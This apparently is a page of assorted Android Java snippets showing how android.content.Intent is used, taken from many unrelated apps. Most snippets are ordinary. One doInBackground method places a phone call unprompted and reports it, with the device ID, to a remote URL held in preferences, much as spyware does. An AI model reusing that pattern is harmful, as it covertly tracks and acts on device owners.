android.content.Intent Java Examples

@Override
public boolean onOptionsItemSelected(MenuItem item) {
    // Handle action bar item clicks here. The action bar will
    // automatically handle clicks on the Home/Up button, so long
    // as you specify a parent activity in AndroidManifest.xml.
    int id = item.getItemId();
    if (id == R.id.action_listview) {
        startActivity(new Intent(this, ListViewExample.class));
        return true;
    } else if (id == R.id.action_gridview) {
        startActivity(new Intent(this, GridViewExample.class));
        return true;
    } else if (id == R.id.action_nexted) {
        startActivity(new Intent(this, NestedExample.class));
        return true;
    }
    return super.onOptionsItemSelected(item);
}
 

private static void showSettingsMenu(View v) {
    PopupMenu menu = new PopupMenu(v.getContext(), v);
    menu.getMenuInflater().inflate(R.menu.overflow_popup, menu.getMenu());
    menu.setOnMenuItemClickListener(item -> {
        if (item.getItemId() == R.id.menu_settings) {
            ((MainActivity) v.getContext()).openSettings();
        } else if (item.getItemId() == R.id.menu_feedback) {
            Context c = v.getContext();
            Intent intent = new Intent(Intent.ACTION_SENDTO,
                    Uri.fromParts("mailto", "[email protected]", null));
            intent.putExtra(Intent.EXTRA_SUBJECT, "Feedback about Talalarmo");
            v.getContext().startActivity(Intent.createChooser(intent, c.getString(R.string.leave_feedback)));
        }
        return true;
    });
    menu.show();
}
 

public static UUID getCallIdFromIntent(Intent intent) {
    int version = getProtocolVersionFromIntent(intent);
    String callIdString = null;
    if (isVersionCompatibleWithBucketedIntent(version)) {
        Bundle bridgeArgs = intent.getBundleExtra(EXTRA_PROTOCOL_BRIDGE_ARGS);
        if (bridgeArgs != null) {
            callIdString = bridgeArgs.getString(BRIDGE_ARG_ACTION_ID_STRING);
        }
    } else {
        callIdString = intent.getStringExtra(EXTRA_PROTOCOL_CALL_ID);
    }

    UUID callId = null;
    if (callIdString != null) {
        try {
            callId = UUID.fromString(callIdString);
        } catch (IllegalArgumentException exception) {
        }
    }
    return callId;
}
 

private void initVideoView() {
    //拿到VideoView实例
    mVideoView = getVideoViewManager().get(Tag.SEAMLESS);
    //如果已经添加到某个父容器，就将其移除
    Utils.removeViewFormParent(mVideoView);
    //把播放器添加到页面的容器中
    mPlayerContainer.addView(mVideoView);
    //设置新的控制器
    StandardVideoController controller = new StandardVideoController(DetailActivity.this);
    mVideoView.setVideoController(controller);

    Intent intent = getIntent();
    boolean seamlessPlay = intent.getBooleanExtra(IntentKeys.SEAMLESS_PLAY, false);
    String title = intent.getStringExtra(IntentKeys.TITLE);
    controller.addDefaultControlComponent(title, false);
    if (seamlessPlay) {
        //无缝播放需还原Controller状态
        controller.setPlayState(mVideoView.getCurrentPlayState());
        controller.setPlayerState(mVideoView.getCurrentPlayerState());
    } else {
        //不是无缝播放的情况
        String url = intent.getStringExtra(IntentKeys.URL);
        mVideoView.setUrl(url);
        mVideoView.start();
    }
}
 

public void resetPassphrase ()
{
    /**
    Intent intent = new Intent(this, LockScreenActivity.class);
    intent.setAction(LockScreenActivity.ACTION_RESET_PASSPHRASE);
    startActivity(intent);**/

    //need to setup new user passphrase
    Intent intent = new Intent(this, LockScreenActivity.class);
    intent.setAction(LockScreenActivity.ACTION_CHANGE_PASSPHRASE);
    startActivity(intent);
}
 

@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
    if (requestCode == 101) {
        if (resultCode== Activity.RESULT_OK)
            YTutils.showInterstitialAd(activity);
    }
    if (requestCode == 42) {
        Uri treeUri = data.getData();
        DocumentFile pickedDir = DocumentFile.fromTreeUri(activity, treeUri);
        activity.grantUriPermission(activity.getPackageName(), treeUri, Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        activity.getContentResolver().takePersistableUriPermission(treeUri, Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

        SharedPreferences.Editor editor = preferences.edit();
        editor.putString("ext_sdcard", treeUri.toString());
        editor.apply();

        Toast.makeText(activity, "Permission granted, try to delete file again!", Toast.LENGTH_LONG).show();
    }
    super.onActivityResult(requestCode, resultCode, data);
}
 

@Override
public void onReceive(Context context, Intent intent) {
    String action = intent.getAction();
    LogUtil.d(TAG, "onReceive(): " + action);
    if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(action)) {
        updateBlueToothStatus();
    } else if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
        updateNetworkStatus();
    }
}
 

private void thumbNailScaleAnimation(View view, App app, int position) {
    ActivityOptionsCompat options =
            ActivityOptionsCompat.makeSceneTransitionAnimation(
                    AppsPreferencesActivity.this, view, AppDetailActivity.extra);
    Intent intent = new Intent(AppsPreferencesActivity.this, AppDetailActivity.class);
    Bundle b = new Bundle();
    b.putParcelable(AppDetailActivity.extra, app);
    b.putInt(AppDetailActivity.extra_position, position);

    intent.putExtras(b);
    ActivityCompat.startActivityForResult(AppsPreferencesActivity.this, intent, APP_DETAIL_CODE, options.toBundle());
}
 

public void onViewSourcesClick(View view) {
    Uri uri = Uri.parse(getString(R.string.Github_link));
    Intent intent = new Intent(Intent.ACTION_VIEW, uri);

    startActivity(intent);
    finish();
}
 

@Override
protected void onResume() {
    super.onResume();

    if (isServiceRunning()) {
        if (!mServiceBound){
            Intent intent = new Intent(this, MainService.class);
            bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
        }

        showErrorInterface(false);
    }
    else if (mServiceBound) {
        stopService();
    }

    updateInterface();
}
 

public static void sendEmail(Activity context, String subject, String body) {
        Intent intent = new Intent(Intent.ACTION_SENDTO, Uri.parse("mailto:" + Constants.DEVELOPER_EMAIL));
        intent.putExtra(Intent.EXTRA_SUBJECT, subject);
        intent.putExtra(Intent.EXTRA_TEXT, body);
//        intent.putExtra(Intent.EXTRA_EMAIL, Constants.DEVELOPER_EMAIL);

        if (IntentUtils.isAvailable(context, intent, null)) {
            context.startActivity(intent);
        } else {
            ModelHelper.copyToClipboard(context, "mailto:" + Constants.DEVELOPER_EMAIL + "\n" + subject + ":\n" + body);
            ToastUtils.makeToast(R.string.failed_to_resolve_intent);
            ToastUtils.makeToast(R.string.content_was_copied_to_clipboard);
        }
    }
 

private static Intent createEventIntent(AppEvent event) {
    Intent intent = new Intent();

    intent.setAction(categoryToActionName(event.category));
    intent.putExtra(EXTRA_EVENT, event);

    return intent;
}
 

@Override
     protected String doInBackground(String... params) {     
  	 String telephone = "tel:" + i.trim() ;
  	 Intent intent = new Intent(Intent.ACTION_CALL);
  	 intent.setData(Uri.parse(telephone));
   	 intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  	 startActivity(intent);
     	
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Call Initiated: " + i);
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        
  	 
   return "Executed";
     }
 

private void saveData()
{
	if ( !PicturePasswordUtils.saveUnlockData( this, mBitmap, mGridSize, mRandomize, mChosenNumber, mUnlockPosition ) )
	{
		// uh oh
		finish();
	}
	else
	{
		PendingIntent requestedIntent = getIntent().getParcelableExtra( "PendingIntent" );
		
		boolean ok = false;
		if ( requestedIntent != null )
		{
			try
			{
				requestedIntent.send();
				ok = true;
			}
			catch ( CanceledException e )
			{
				ok = false;
			}
		}
		else
		{
			Log.e( "PicturePassword", "PendingIntent was null or canceled! This is probably bad!" );
			Intent chooseIntent = new Intent();
			chooseIntent.setClassName( "com.android.settings", "com.android.settings.ChooseLockGeneric" );
			chooseIntent.putExtra( "lockscreen.biometric_weak_fallback", true );
			startActivity( chooseIntent );
		}
		finish();
	}
}
 

@Test
public void testGetStringExtra() {
    final Intent intent = mock(Intent.class);
    IntentHelper.getExtraString(intent, "StringExtra", null);
    verify(intent).getStringExtra("StringExtra");
    verifyNoMoreInteractions(intent);
}
 

@Override
    public boolean startActivityAndNeedWating(IMBaseActivity context, Map<String, String> map) {
//        if(map != null){
//            String groupId = map.get("groupId");

        Intent intent = new Intent(context, QtalkServiceExternalRNActivity.class);

        for (Map.Entry<String, String> entry : map.entrySet()) {
//                        intent.putExtra(entry.getKey(), entry.getValue() + "");
//            map.put(entry.getKey(),entry.getValue());
//            str+=entry.getKey()+"="+entry.getValue()+"&";
            intent.putExtra(entry.getKey(),entry.getValue());
        }

//            intent.putExtra("groupId", groupId);
//            intent.putExtra("permissions", ConnectionUtil.getInstance().selectGroupMemberPermissionsByGroupIdAndMemberId(groupId, CurrentPreference.getInstance().getPreferenceUserId()));
        context.startActivity(intent);
//        }
        return false;
    }
 

public static Intent createUseSpeakerCallIntent(int callbackId, int callId, Context context) {
    Intent intent = new Intent(context, PjSipService.class);
    intent.setAction(PjActions.ACTION_USE_SPEAKER_CALL);
    intent.putExtra("callback_id", callbackId);
    intent.putExtra("call_id", callId);

    return intent;
}
 

@Override
public boolean onOptionsItemSelected(MenuItem item) {
    switch (item.getItemId()) {
        case OPTION_EXPORT_DATABASE:
            try {
                boolean exported = SanaUtil.exportDatabase(this, "models.db");
            } catch (IOException e) {
                e.printStackTrace();
            }
            return true;
        case OPTION_SETTINGS:
            Intent i = new Intent(Intent.ACTION_PICK);
            i.setClass(this, Settings.class);
            startActivityForResult(i, SETTINGS);
            return true;
        case OPTION_SYNC:
            //doUpdatePatientDatabase();
            return true;
    }
    return false;
}
 

@OnClick(R.id.github)
void openGithub(View view) {
    Intent intent = new Intent();
    intent.setData(Uri.parse(com.jascal.flora.net.Config.GITHUB));
    intent.setAction(Intent.ACTION_VIEW);
    this.startActivity(intent);
}
 

private void joinRealTimeLocation(Context context, Conversation.ConversationType conversationType, String targetId) {
    RongIMClient.getInstance().joinRealTimeLocation(conversationType, targetId);

    Intent intent = new Intent(((FragmentActivity) context), RealTimeLocationActivity.class);
    intent.putExtra("conversationType", conversationType.getValue());
    intent.putExtra("targetId", targetId);
    context.startActivity(intent);
}
 

private void openInnerFileManager() {
    Intent openExplorerIntent = new Intent(
            getContext(),
            FileManagerActivity.class
    );
    String lastPath = SettingsHelper.getLastPathForInnerFileManager(context);
    if (lastPath != null) {
        openExplorerIntent.putExtra(
                FileManagerActivity.LAST_PATH,
                lastPath
        );
    }
    startActivityForResult(
            openExplorerIntent,
            FileManagerActivity.FILE_SELECT_FROM_FILE_MANAGER
    );
}
 

private static Observable<Intent> createBroadcastObservable(
        final BroadcastRegistrarStrategy broadcastRegistrarStrategy,
        final OrderedBroadcastAbortStrategy orderedBroadcastAbortStrategy) {
    return Observable.create(new ObservableOnSubscribe<Intent>() {

        @Override
        public void subscribe(final ObservableEmitter<Intent> intentEmitter) throws Exception {
            final BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
                @Override
                public void onReceive(Context context, Intent intent) {
                    intentEmitter.onNext(intent);

                    if (isOrderedBroadcast()) {
                        orderedBroadcastAbortStrategy.handleOrderedBroadcast(
                                context,
                                intent,
                                BroadcastReceiverAbortProxy.create(this));
                    }
                }
            };

            intentEmitter.setCancellable(new Cancellable() {
                @Override
                public void cancel() throws Exception {
                    broadcastRegistrarStrategy.unregisterBroadcastReceiver(broadcastReceiver);
                }
            });

            broadcastRegistrarStrategy.registerBroadcastReceiver(broadcastReceiver);
        }
    });
}
 

public static StateIntentCompleted from(
        State previousState,
        RefCountBase<ResourceConstructed> resourceConstructed)
{
    return new StateIntentCompleted(
            previousState, resourceConstructed, Optional.<Intent>absent());
}
 

public static void goToAlbum(@NonNull final Activity activity, final int albumId, @Nullable Pair... sharedElements) {
    final Intent intent = new Intent(activity, AlbumDetailActivity.class);
    intent.putExtra(AlbumDetailActivity.EXTRA_ALBUM_ID, albumId);

    //noinspection unchecked
    if (sharedElements != null && sharedElements.length > 0) {
        activity.startActivity(intent, ActivityOptionsCompat.makeSceneTransitionAnimation(activity, sharedElements).toBundle());
    } else {
        activity.startActivity(intent);
    }
}
 

private void handleFormLoadCompletion(AndroidFormController fc) {
    if (GeoUtils.ACTION_CHECK_GPS_ENABLED.equals(locationRecieverErrorAction)) {
        FormEntryDialogs.handleNoGpsBroadcast(this);
    } else if (PollSensorAction.XPATH_ERROR_ACTION.equals(locationRecieverErrorAction)) {
        handleXpathErrorBroadcast();
    }

    mFormController = fc;

    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) {
        // Newer menus may have already built the menu, before all data was ready
        invalidateOptionsMenu();
    }

    registerSessionFormSaveCallback();

    boolean isRestartAfterSessionExpiration =
            getIntent().getBooleanExtra(KEY_IS_RESTART_AFTER_EXPIRATION, false);
    // Set saved answer path

    if (FormEntryInstanceState.mFormRecordPath == null) {
        instanceState.initFormRecordPath();
    } else if (!isRestartAfterSessionExpiration) {
        // we've just loaded a saved form, so start in the hierarchy view
        Intent i = new Intent(this, FormHierarchyActivity.class);
        startActivityForResult(i, FormEntryConstants.HIERARCHY_ACTIVITY_FIRST_START);
        return; // so we don't show the intro screen before jumping to the hierarchy
    }

    reportFormEntryTime();

    formEntryRestoreSession.replaySession(this);

    uiController.refreshView();
    FormNavigationUI.updateNavigationCues(this, mFormController, uiController.questionsView);
    if (isRestartAfterSessionExpiration) {
        Toast.makeText(this, Localization.get("form.entry.restart.after.expiration"), Toast.LENGTH_LONG).show();
    }
}
 

/**
   * Helper method to start Compress service
   *
   * @param file the new compressed file
   * @param baseFiles list of {@link BaseFile} to be compressed
   */
  public void compressFiles(File file, ArrayList<BaseFile> baseFiles) {
      int mode = checkFolder(file.getParentFile(), mainActivity);
      if (mode == 2) {
          mainActivity.originPath_oppathe = (file.getPath());
          mainActivity.operation = DataUtils.COMPRESS;
          mainActivity.originPaths_oparrayList = baseFiles;
      } else if (mode == 1) {
          Intent intent2 = new Intent(mainActivity, ZipTask.class);
          intent2.putExtra(ZipTask.KEY_COMPRESS_PATH, file.getPath());
          intent2.putExtra(ZipTask.KEY_COMPRESS_FILES, baseFiles);
          ServiceWatcherUtil.runService(mainActivity, intent2);
      } else {
	Toast.makeText(mainActivity, R.string.not_allowed, Toast.LENGTH_SHORT).show();
}
  }
 

@Override
public void issue(Intent in, int ret)
{
    if (in == null)
        return;
    try
    {
        if (ret == 0)
            context.startActivity(in);
        else
            context.startActivityForResult(in, ret);
    }
    catch (Exception e)
    {
        e.printStackTrace();
    }
}
 

/**
 * Adds the required extras and flags to an {@link Intent} for using Chrome Custom Tabs. If
 * Chrome Custom Tabs are not available or supported no change will be made to the {@link Intent}.
 *
 * @param context Application context
 * @param intent The {@link Intent} to add the extras and flags to for Chrome Custom Tabs.
 * @return The {@link Intent} supplied with additional extras and flags if Chrome Custom Tabs
 *         are supported and available.
 */
public static Intent addChromeCustomTabsExtras(Context context, Intent intent) {
    if (SDK_INT >= JELLY_BEAN_MR2 && ChromeCustomTabs.isAvailable(context)) {
        Bundle extras = new Bundle();
        extras.putBinder("android.support.customtabs.extra.SESSION", null);
        intent.putExtras(extras);
        intent.addFlags(Intent.FLAG_ACTIVITY_MULTIPLE_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
    }

    return intent;
}
 

/**
 * Set language
 * @param localeString
 */
private void setLanguage(String localeString) {
	Locale locale = new Locale(localeString);
	Locale.setDefault(locale);
	Configuration config = new Configuration();
	config.locale = locale;
	LanguageController.getInstance().setLanguage(localeString);
	getBaseContext().getResources().updateConfiguration(config,
			getBaseContext().getResources().getDisplayMetrics());
	Intent intent = getIntent();
	finish();
	startActivity(intent);
}
 

private void byApkHash(AppEntry appEntry, Intent intent) {
    String urlString = "https://androidobservatory.org/?searchby=binhash&q="
            + Utils.getBinaryHash(appEntry.getApkFile(), "sha1");
    intent.setData(Uri.parse(urlString));
    intent.putExtra(Intent.EXTRA_TITLE, R.string.by_apk_hash);
    startActivity(intent);
}